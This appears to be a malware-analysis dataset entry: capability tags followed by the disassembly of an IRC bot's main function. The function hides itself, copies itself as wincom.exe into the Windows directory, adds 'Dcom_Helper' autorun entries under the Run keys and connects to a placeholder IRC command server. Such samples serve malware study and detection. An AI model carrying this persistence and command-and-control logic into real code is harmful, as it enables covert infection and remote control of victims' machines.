Function at 0x1400012c6
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create http request
Get common file path
Initialize winsock library
Persist via run registry key
Set registry value
Terminate process

Disassembly:
jmp 0x14000b6a0
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x5f0]
sub rsp, 0x6f0
mov rax, qword [0x14001be00]
xor rax, rsp
mov qword [rbp + 0x5e0], rax
xor esi, esi
mov edi, esi
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
shr edx, 6
mov dword [0x14007a2a4], edx
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
lea rcx, str.kernel32.dll
mov dword [0x1400650e4], esi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x14000b73d
lea rdx, str.RegisterServiceProcess
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400650f8], rax
test rax, rax
je 0x14000b73d
mov edx, 1
xor ecx, ecx
call rax
xor r9d, r9d
mov dword [rsp + 0x20], esi
xor r8d, r8d
lea rcx, str.Mozilla_4.0__compatible_
xor edx, edx
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [0x14001d908], rax
test rax, rax
jne 0x14000b769
mov qword [0x14001d908], rsi
lea rcx, str.WININET.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x14000b7b3
lea rdx, str.InternetGetConnectedState
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.InternetGetConnectedStateEx
mov rcx, rbx
mov qword [0x1400650f0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400650e8], rax
test rax, rax
mov eax, esi
jne 0x14000b7b8
mov eax, 1
xor ecx, ecx
mov dword [0x14007a29c], eax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r8d, 0x100
lea rdx, [rbp + 0x2d0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea r9, str.wincom.exe
lea r8, [rbp + 0x1d0]
lea rdx, str._s_s
lea rcx, [rbp + 0x4d0]
call fcn.140001393
lea rdx, [0x14006a1c0]
mov ecx, 0x100
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea r8, str.null
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14000b848
nop dword [rax]
mov ecx, 0x1770
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x14000b830
mov ecx, 0x202
lea rdx, [rbp - 0x10]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x14000bd7b
movzx eax, word [rbp - 0x10]
cmp al, 2
jne 0x14000bd75
shr ax, 8
cmp al, 2
jne 0x14000bd75
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
cmp dword [0x140064fd0], esi
je 0x14000b89b
lea rcx, str.wincom.exe
call fcn.1400012d5
jmp 0x14000b8b5
mov r8d, 0x3f
lea rdx, str.wincom.exe
lea rcx, [rbp + 0x190]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov edx, 0x100
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x2d0]
call sub.VCRUNTIME140.dll_strstr
test rax, rax
jne 0x14000ba39
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, [rbp + 0x190]
lea rdx, [0x140016ce4]
lea rcx, [rbp + 0x3d0]
call fcn.140001393
lea rdx, [rbp + 0x1d0]
lea rcx, [rdx - 1]
cmp byte [rcx + 1], sil
lea rcx, [rcx + 1]
jne 0x14000b913
lea r9, [rbp + 0x3d0]
xor r8d, r8d
nop word [rax + rax]
movzx eax, byte [r9 + r8]
mov byte [rcx + r8], al
lea r8, [r8 + 1]
test al, al
jne 0x14000b930
xor r8d, r8d
lea rcx, [rbp + 0x2d0]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x14000b9b5
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0x1d0]
lea rax, [rdx - 1]
nop dword [rax + rax]
cmp byte [rax + 1], sil
lea rax, [rax + 1]
jne 0x14000b970
lea r9, [rbp + 0x3d0]
xor r8d, r8d
nop dword [rax]
nop dword [rax + rax]
movzx ecx, byte [r9 + r8]
mov byte [rax + r8], cl
lea r8, [r8 + 1]
test cl, cl
jne 0x14000b990
xor r8d, r8d
lea rcx, [rbp + 0x2d0]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x14000b955
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x60], 0x68
movups xmmword [rbp - 0x60], xmm0
mov word [rbp - 0x60], si
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x40], rax
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x50], xmm0
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rax, [rbp - 0x30]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x1d0]
lea rax, [rsp + 0x60]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x28
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14000ba39
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
cmp dword [reloc.WS2_32.dll_accept], esi
je 0x14000bba1
mov qword [rsp + 0x40], rsi
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x20], esi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x190]
mov dword [rsp + 0x28], reloc.WS2_32.dll_inet_ntoa
lea rdx, str.Dcom_Helper
mov r9d, 1
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x40], rsi
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRunServices
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x20], esi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x190]
mov dword [rsp + 0x28], reloc.WS2_32.dll_inet_ntoa
lea rdx, str.Dcom_Helper
mov r9d, 1
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x40], rsi
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x20], esi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x190]
mov dword [rsp + 0x28], reloc.WS2_32.dll_inet_ntoa
lea rdx, str.Dcom_Helper
mov r9d, 1
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor edx, edx
lea rcx, [0x140065220]
mov r8d, 0x400
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea rcx, [0x140069630]
mov r8d, 0xb80
call sub.VCRUNTIME140.dll_memset
xor r8d, r8d
lea rcx, str.Bot_started.
xor edx, edx
call fcn.1400013c0
xor edx, edx
lea rcx, [0x140065620]
mov r8d, 0x4000
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x7f
lea rdx, str.irc.example.com
lea rcx, [0x140065100]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov eax, dword [0x14001bd80]
lea rdx, [0x14001bd30]
mov r8d, 0x3f
mov dword [0x140065180], eax
lea rcx, [0x140065184]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov r8d, 0x3f
lea rdx, [0x14001d907]
lea rcx, [0x1400651c4]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
nop dword [rax + rax]
mov ebx, esi
lea rcx, [0x140065100]
call fcn.140001280
mov dword [0x14006a1b0], esi
cmp eax, 2
je 0x14000bd55
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 6
jl 0x14000bc52
test edi, edi
je 0x14000bce4
mov r8d, 0x7f
lea rdx, str.irc.example.com
lea rcx, [0x140065100]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov eax, dword [0x14001bd80]
lea rdx, [0x14001bd30]
mov r8d, 0x3f
mov dword [0x140065180], eax
lea rcx, [0x140065184]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov r8d, 0x3f
lea rdx, [0x14001d907]
lea rcx, [0x1400651c4]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov edi, esi
jmp 0x14000bc50
cmp byte [0x14001d910], sil
je 0x14000bc50
mov r8d, 0x7f
lea rdx, [0x14001d910]
lea rcx, [0x140065100]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov eax, dword [0x14001bd84]
lea rdx, [0x14001d911]
mov r8d, 0x3f
mov dword [0x140065180], eax
lea rcx, [0x140065184]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov r8d, 0x3f
lea rdx, [0x14001d912]
lea rcx, [0x1400651c4]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov edi, 1
jmp 0x14000bc50
lea rbx, [0x14001d920]
lea rdi, [0x14001db20]
mov rcx, qword [rbx]
call qword [sym.imp.WS2_32.dll_closesocket]
add rbx, 8
cmp rbx, rdi
jl 0x14000bd63
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
mov rcx, qword [rbp + 0x5e0]
xor rcx, rsp
call fcn.1400011d6
lea r11, [rsp + 0x6f0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret